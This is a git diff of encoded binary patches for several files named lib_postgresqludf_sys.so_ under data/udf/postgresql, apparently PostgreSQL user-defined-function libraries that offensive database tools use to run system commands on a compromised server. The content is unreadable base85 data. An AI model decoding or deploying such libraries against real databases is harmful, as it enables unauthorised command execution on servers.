zXVTmCk1^WzAS$@wdz)S#qC7@}6`5CpN-M4pWP6ob{ns-KfodtMjs#F5N`pG;a!&sQ z?MoN#-DT_7DrpnCdf$qCi8K|1@Aj7BuuhU!h+WbqK{roHAid40bFYEPXrm@VUm%)D z(oDu8nw6EKoAUGYZO#}pTCc08SoVl26l&rh^g;tLCCgn5wG-epi>?!`1?_aD2K$Uq z@nq_#P}?vZ3AJ@?*e}fG@L~JpI?{HGJbpUxoSC6?&LOO6d0I0EZ2_B-0HSe6^;g#+ zUgx%|>phq4EyXoS-?=YM5P|PCTf22;u&JV?0}NVz+oAH*e~Vb9Y8$a)umiM^VP@ZH zaExC{PM%{x?Ks9ndY=*sZe;V#AUy1l6t~2v)IrUT8mtIaB!P6U-UbuJVtO=BZcU>AP9G!~l)TiORa)nOk-D83e*4 q6kG*<)@0VGo(YqvBm^JsFZ`Oyi6pw$VT{$C<*weydCxVLZ{VoEku=f( literal 2632 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 diff --git a/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ index 9327b1cdba3e485ea520a47292df74f0def039ca..1609227d01a47905e5bb2d80b50e5dc8208edb0f 100644 GIT binary patch literal 2633 zcmV-P3byqR?%r=c03D%tZ9q*>ecG7+z!{b9(?FwmH^$!;j7&SqN~@NHmm$6s3qd=t zWVz85vQ-p_daU&NXnCEU5?Fbpra}bPggwyA=bi%rH(7c7Ki;N&1NjxPK(dIqb_JvA4{?Eh3$(Mg_RF4W+h8y3r2QAvg+yFOt#+hY0e=1L1%b*=zRU4k4~UNO(#;7B$xjO1Z34-;L30c3jrgK7 zejT)(7NUq$YGQJ{Ee8jKJ-f=}wo4Cq4)*7W?WO#u!KAYs-U|&W;3IMi@JzGE(&$#0^ znMy6jix{oEir0U!lgu;@q}F9e?$Zty{rFW!g2*)psC}h^GW`yS9+Habr7hG&~PD1BS+X8MF7?j>^3>ngs&3 zmB>84xuz_&Q}8kNpeBe>Ti1@RiZ=576zi=?jJ`tCAl9~( zQc-GG0Zy|%6}t&qtHF$IL+uO{ON=dXvEv<2iD(9U=KjD#Y{bK;QX$U8x2#9N<|9}F?@wZPEUKnJ3ZwHD^cE*!d6E8p9bE=9G zEFilB410&iu)umeVj^ExkJll=@I7A}aLjz(RU#Tzge#%Vc!W0UMGJXVTgk6r$zd25 zhXtB4`%+RWCcyCQabA=#nm_8GWRY zr)`6+|6n23$_D?T*j-T|388_|UwDIS@X2FMh?B^OXYIF=0FRI8E2R#d@|UO~HJ;aP zqSvD|G$o>ff5z=9}K8O z!=u57R=gqrr%XGa6-Xv*oWm&kT&r>?H`Mqdk8M(`Qs$tYvk1>p^}){Vi~eKW6Q ztd~75TZzc*iJV?8jdRorcivv$xL7Ei@IH}hlR{0s3}Rj7F}>o-Ww`y6$ZuR=Q#-1F z5;AhZMh#8>pCpY9Ct>*y)AS_Sd|^l$SIziJ+E$j~tJjj>0+|HU;!%_@l#P;z)3b{) zF=wGtI$Q4{mLpTyw?JPO?5VQl?JFD2KC5&$%vn;o4aQO-;7gvK59 zai8z)?F;8BDpJV`5y}&Er8pZ6^d?;iN~K-Y%^dFoiqmV9)E@hci1N+ ztl^=At8qL_!iI!8mwNuK9WaGV)TL)VODB~I=Wj;tXh;r=RZ%SLhN5mmQD1#pyZVCy zTyG>TlfJ@md;$2ZLRy7UaUGECXG_091UQ)cG#ww`fqu!da>}&3;jN?|gA%~Ok(MTJh4{P8P)1@Q;GrHms$=WSKfBXK2!bV>l!xuvD zFfpv!i-g#Edul!95(dFt@up-Ql-PhaKC=Ncjcr6VHPM8Pt2|9>wup9^gZKI zkBdf&d=hu5g-RL&XAAzEdap4g9i!@ViA07rFb5M^|WQ ziX$^hGLXUs`K>cnJvRxz4I5HBq^%GE4cYBpsBwSeC7r`*4qjp7w&!0EW8#Un#z`Td zxUd%i#21^+Hiv^^X^g5dAilzrOoTS^gt$UaK{;MimS%xVTm^FbH7G{Hr-cuo=?qy0(`aL}R{+5Sv#*d^qNPIahO7D?a5drun z-MS%yX_L&SxQjS!oxJ7UWrq#Y6{96`a-pj+x<26BAulYU zTz=R0v=7+KwhQe!!?0}z#qqKNLf5SmFPAq=R-?~Q9l&RwT^Q2O!tuM+8bs+_T| r{i}G&u6bqp#OMy+E z*-WKAZzG%zw@D;ZnDO7%ovE72~T&_;0AhxnAbgi`d&m=qmx;gZ9dZn zM)V8YHBPPjoN>e3$0c#rH@`AFTaw3y zMVMnFjj=^S7II7a7xrvS1+#3-($YxanfzI;3GNb|#caC6Te><5i5T34Nik5|*5sO> zywU>9tJrDg!2md5t5=o?8Vkbf3Z%4r`j3@+38}oG$+$KP#%gr$DMqcHM^ZVwmW`b> zaX8AaQs(S)Y(qfpHgY(GGM=>7@(*iY2-nrw_Rzzi?8~Jg%v7<~2A53~zSEsDAtbQy zddSg}c+R_G6F%M$LD&p$5wW>WGEzqqtF8xme%}PpXEwwMy>nmGZ-;Of4c>zLFz65l zd2nW@9PIEYRR#sH-tNo)~Ab6Bd_sqYCE;gwU6P5YB>=efa-Z z(1Gu9;beL^Z@u<@G!z#$9nY9B60LNAr)l z_q(4}=81x27a0FONF=eIb1brO4jzRPw3F_NH78$JG95i>81wmj7M6+b%8uC+oFp*k zj=cl9wu4fK7qnH;rU$wJK%%l~Wtj2Y2q;KgGZuu1uPfV1!Lk`M32&VhH5I8-qKIF? z#wWHMZA(3Zom(-xh8kA%=W@gf(~n7hY4NAuIlght-t|0#B{f#;;Tib3sxe&M7KnnT zPKj^J){DKzO+}*2jz7bu&j8nG*!P6N(tDd|b@<1oQ3fu5k((cU$)UD;*TSg)xEQgT zBIc{mF+BR5uC}(*Lg%rYtCu0Z)`pbCP4>Lj`WpGgC&T^L863U+#m&<+BFZ0N! z78MR~2XBFI4$d}Rq~!8n2dQW?O|2gws+J;dedrCzWodVI`6n{GMP?nqtIs?Js}8?BwFR-%`vqkTJwBB>xx?HGnzWbzIhtV>r1X}oM$tSNG3VLH=NL$e$B#@$4Vkn7k|#D z6ca#@U3hZ%kOA{QV0%)snej zDiWSmHGYv3(q}jR<P%x z=%vM@txygc+4H+Sm|uXOS#;rR(u7rPP*SQ5=t?-;EDUO_Q*a)=o!3!BUU~y)|GwuX z;v?jw*V(yYNiyu>5|Cr?XxU&F0(lY4XRv1YHZc^bGOKRsCV_!pS{C1S>==VH>&&S! zBE9y$UkgkH5xa^l))~UDUNU$*l3C|Tm8H(>h(D`x5RH#7s9D4BVxDif&swuxU4I`G ze#**dI7sE@JbafX=`VuuVu*#P8t7g*Ago~Z2Y6q-dHvX{zAGJwdMAlGG}eo&Jy9<( zenu4~Ho&`#_a4!#gT^R|WyAN@*J&y76dvCc+<;m#cm9Sq&-)(}WRAgr&0`@hhf^lV zHV~eRkn!hzbWcOqRzjtE_lH(YkFCEkF_wP;$tfTbGw`T{)b2kZ_!47^TVJghcVcHHO5{8sP%>d#NHYOHvp-0t52{y0LwF*s+IM_QgGE#|* z30f3G&0OOB)HO{9FLbG+1NSqj6R;}8TvL-H=!ZuSCR)|^ISU~=NrsrYj6i+&0UmE3 z;nQu9IwD_ba4(#n?0)&k%uTKGQb$-Q3pa0}~8S zi~<20DdqhE_J~bnd2?-;3p!wGzt}GZ0{oL~>@^$2BfRlA6)RrkxxyhLC#LO@z-SZk zqs1r&%QEHsa>M6EZ>^YMJIno)L!n5+!2Bjtg4zUc)}qn#27buv$$5d8SOWQ2XHW>D z&1HKsS;YaaJ$IudLI8#cEx@BNhj*64M;L4ZjT631Qy>hfbz)19MQ*mO}j{=yT<97lC&fD*m4u_^$>MP^%z3Qy3*rTz^;~PQwattMau7LRYjZu z+nW>9a^~*=Lmd_L)EO9mMD`x2{HB+4zC_W2QfY4%QlVeT3Bm{(6M`Ck`I) zM+@liyDFys@=u8##gSiE-h}*}s`M)}m=Mmp3@$k5Q6Yd^P3a|>!hks|KGeorCBJG&MLC~LVfKIZ1Eo+ diff --git a/data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_ index a9874449464ec4b039c0750a23d27af2258adeb1..36db3b0eff75fda35ae2ae52b757bb2f0081d275 100644 GIT binary patch literal 3257 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 rru`0@LAQH(8sB%s literal 3257 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 diff --git a/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ index e4b124fc8b3670f28d4a0870d2c0f6e2e0f1138f..7e8760c7e3602f456a98ead8bd839631011e08d4 100644 GIT binary patch literal 2561 zcmV+c3jXyE?uKqS03D%p?aW`#gy6P6j&DC7_5^RiFbAB%Vd+h;2YD6UWZ|9LzBSA1 z)@`?W{D+-^cjXribX37I{1lk97OA?3H6OYJcm6kU#f+dPetEk-OaspjPweN*i<@}xUu2*?a4&hv6(J& z3ih7$ye8+b3i+Zc)$gvmOT3d*ZQn?kDMzh@uO);Y+q#d7^?U)J2u&Mzs4)MLPqZg` zLx5LtiSW`IVxehpv@R}r2~ulBcFq{2@TkZRLyCO-eeMTH+?azYJ8wR9$k6fxqEp|nh z%qoiZ!>K=%TZWUl0_P_n%^gfjH#W>9>|2 ztGBk}UyQqKIVs^*35b%=q^v3pCxTZ??BniD4S?w$)g$9RJHuR2DfeR@+f=uMw!C^RF1lAmFg@EE5OS0J zk)Fcv@6-1Y{0N`#-Iec_^nDHW6u7u6Gm@^N3E13UEd`Oew4AFpU6SmR9aFdEkM`(f zMo0%)ZJOR~@l7Dj-N`|scfd;QkV$o+W&pM%c()9ayZ(sTwm~{ww_#hbb zNP4((XP2;Vrv1&;`tQlp`}L`~v7HI3owkK;&9=F_SI});PH=7Ghi}%FNd1K{tRYFN z2i*d#>!3<8VglT}c(m)nDmgP4ES|sPyeF<+w1Mrf1#hM03r)*3f&^drJF@Wvw?%i# zN4*#zw@VH@7z+?r}hQro3L?FOc#sw+t_!NRL&h8K5wccGM$ zrj`27>1KJSx75V-@a}$_e|8m767)hS?HT?v5e8+IHg?5gju6~@$%Ql50`mHvtW_DU z?%xaT9j(?OfiNJM%>(^Z$nw{u>~5+Tq z5!rB?u(c_vV^VpU`u%YE+b3V5tfsyY>ZW{(X+iU&`=8VKM{v+B_PePw_5q$VcnV2Y zY41Ko)x?Eop|-qFOUxrT9Kb$PwT#LqOeQRlNu$*l7tfhPtq!OlSRML6Q>^-;pD;y} zdrPF)+2RQDy{yGBm>Q3rYe+=BGF(fS$~{El{g;>ppn+t8dSCV6(`Xr}8*Ro0M}?pr ztpE+f7B((-HP5QpHVv|#LXr$aJ3YgkHJspW7{h)%?d3ntL2BqT;;f}$Ni;luxP5%> zk#TY4b({x*Q7dqlrxXxL1XQtE4!aczdSao=Ewg{H6FWqmWyj@#evER_ znqnZS&uqq?dU|=@2$uyIYf2?*k5#ZFJqQ1-?QS%<`3erjT_DwtSTBFH>vXx$v{zZE zzod^vzsAuqm#9&im1+-8e2Hc=CW+UE%O<0cE^Nb9{!;)UlhBxX80IdG0}5YeVmjSe z+iHzKMil=1E!^G22g(Qm4~mJO+Gl9jtKco{>VX9qN68l;t)*Ezc+NpPX2{1Z64qey z32e4=;1Ou|lguOZHchl9np_|Z<;n<@KY*aceQsL`ngw&~z2M?E8=RqUws{&V70(LU z3-J(D?(TlS#5fjD4oX^YKB|el znBtcL+dnQ+s96ICaq&Vg-{@;lJP@QHIq_#M^ue>zH&pbKc@ns(=~Azb=4rys1XVKl z4#=kp9k+G!oZF(XgO$J-E{X;5q2}|Y3vYwywZl<63DLq^q(9VVo z+Svp{spZULrjYE5L07u-=P(ihTY~c})*6W<^G-_u zD^P5=GDimPV7ud5W={qc)FnFyiv8*v20gP7i~r6=H@QlPeu;m>;EwF2K)-p?8j-4< ztH=TPZCqNJ%_OXn;nk|$O&gLMo*MO4+neqX;@v}Py*kO|gy9*qV94u4kA3sWoriWB ztpMAe5ktLmkXrW6P^nqCMS^j+QL`+im&vu^g*F-VY|GS-Ve>P^`Ptfp(sJta(SVJ8 z#OP@VrqkAL?Gn&fukaTt01I`KUIO8GiO5#*e3(t&PhUu%!Iu*_)B%Dze28ivmFyT-zgEN* z(k5QASC%<~a)-q#aiJ-N8W<>iLnUJH-}o%^ynW4mYZ)CKPVCbCt-sA=-loMGqzrfK z{wXNAP;{W7nAmD$d~iE#*g=}SWR>+`&b%NXZ2+G6iX036trSwO;6E=BiVmRo#Wsri znRdy*K42?}H3Fx9EnSzMtzyg^r*Oocs9Ek+7gZ@KhXC1hYR#Mm0}MwdlhKzokH!Ti zYUl{Jf0QZG7({x}c@BxO6lAkk3@bZSs8X#LP1LUAljn`P0}``35yAGj2G7DVk#HwJ&UF_d8j<2Qr29C XXrSYNg(28tg!bK)y`QB?S8m|%>7L?1TN+){ zha(^Q5hkfR#u!$SK&6Q>$_w=ORgsd~uCaL*iD|gC^|Mz-nidiFI;i-HqFs4{{re~E z!50Z{Gfp)}%axS-$=R&O(nV0nuiZ*;wH7{moy@X1&$%hblUm}|zEBaz_t{{WdgEIO z6?rRp;sfZlO292(?i0Q*!F1}cSLjz4oKUAuje?>WIy%HQGrCh(!>y8cWekKlLnf$w zh|oa*`nruThcOP~tl8#c$OS1tU3WM2lQOGYrmLX0?@DK7@zkveap#he$MNXb1t_-9 zfA^_rH!F+r-gPwA!OXe$u{JnfFC?hX)i8+~4}~PRiq$yU!yyHcx0IjCsf{51x40Z4 z5rd)fvjdr(PQAtr)6SggP|2)QV){0!Z3D@psRXu9z|XLZ`dNRiObLHbt`W_^RKXa1 zOrCuUip*26q*9GKzeI_KEsmSmb`cJ(o9PErUiV<|{%E&PN*Imq_@E z0*`|#$pw^eZmv+fpk=mjO^>Kdv7T3HTrUMa=Id@aIRbb=>+Z0F0CSstfO*tA6{D|W5_H;EW@__`do#e9JA@0O%a zu)>MtP^raUeQkwt52>JmzYX-hLxggEei&hjnv3n8CN7mnd?@*+$44Cx6~%@ONJ0&< z+&#OOZ6N8ZnN*JkG2E0CzCm9)MF!7RPMkw&5ck5JG8&<_GA&3R`oUhEO3(YFujh@L z+(3AF>K!MgJoji!V$0<5eg0 zM_tLG?$My^8pj> zL7Xaa{z;!LCnD`;v0ipJ&ga!t!c!Anae$`7 zz2L>j=0gXS^N^s@_RmbpWCJQz9nm}*sa={B7bjQ5Ed%;xfi0JWeff zZ_W%9&at{+u9L!j4~Rz)8sQ8AuKD#KLjzKx4d<~i5$>xJwtJT+S2%=n7wDdanGtuw zU_P7Q*2i|h`RJh+o;$tFa6NmvJ$W^yj(H%(`?ji7yYyRzb$W}^mn?mc9Zd9BT=1V7 zq9t?jQgTXAGwzs)EqINYO}BD!e|e|7GriJ01GYgs;=n=t1ul#f;9G zoI?`$)EW7ibzcYUOw(aMZEF`hlpv2IG9rPWsVY#P|0_I{Mpf#GR|)}!uQ1*BvUY3v zq|vZKu;Z@-)9f|9lS@4xXZ%?-DXgiqk7CESC{6JMES&be(!T?eZBZA9rGT* zO(@b-<}g~Oh`Ai|IcUlh-WWtHf)fq;7C}g;8w_W7_8_WwKr1F7~_X&3{fQBfS!KQ z6H_BjX8zRHXTDb^?`L3`cmByFEMFT{6E=cCDz+~^HjJPG-Ur%#2y19Q{y+NoF^~6- z+@|v--5wkRvn)ISe$+f2o2(CaIx&`UB7|5e`{d2wa}bcUe=~~s@+Xjq=}f%;KoM5o z2z0f_<{`Z6&MJ z6p*q#d$hVn@r zq9vuQRR`HrmV3mXOWbC^N~aHn757Mjk?4o8oOZlD%p6bGHDce*oXH^zj;XP 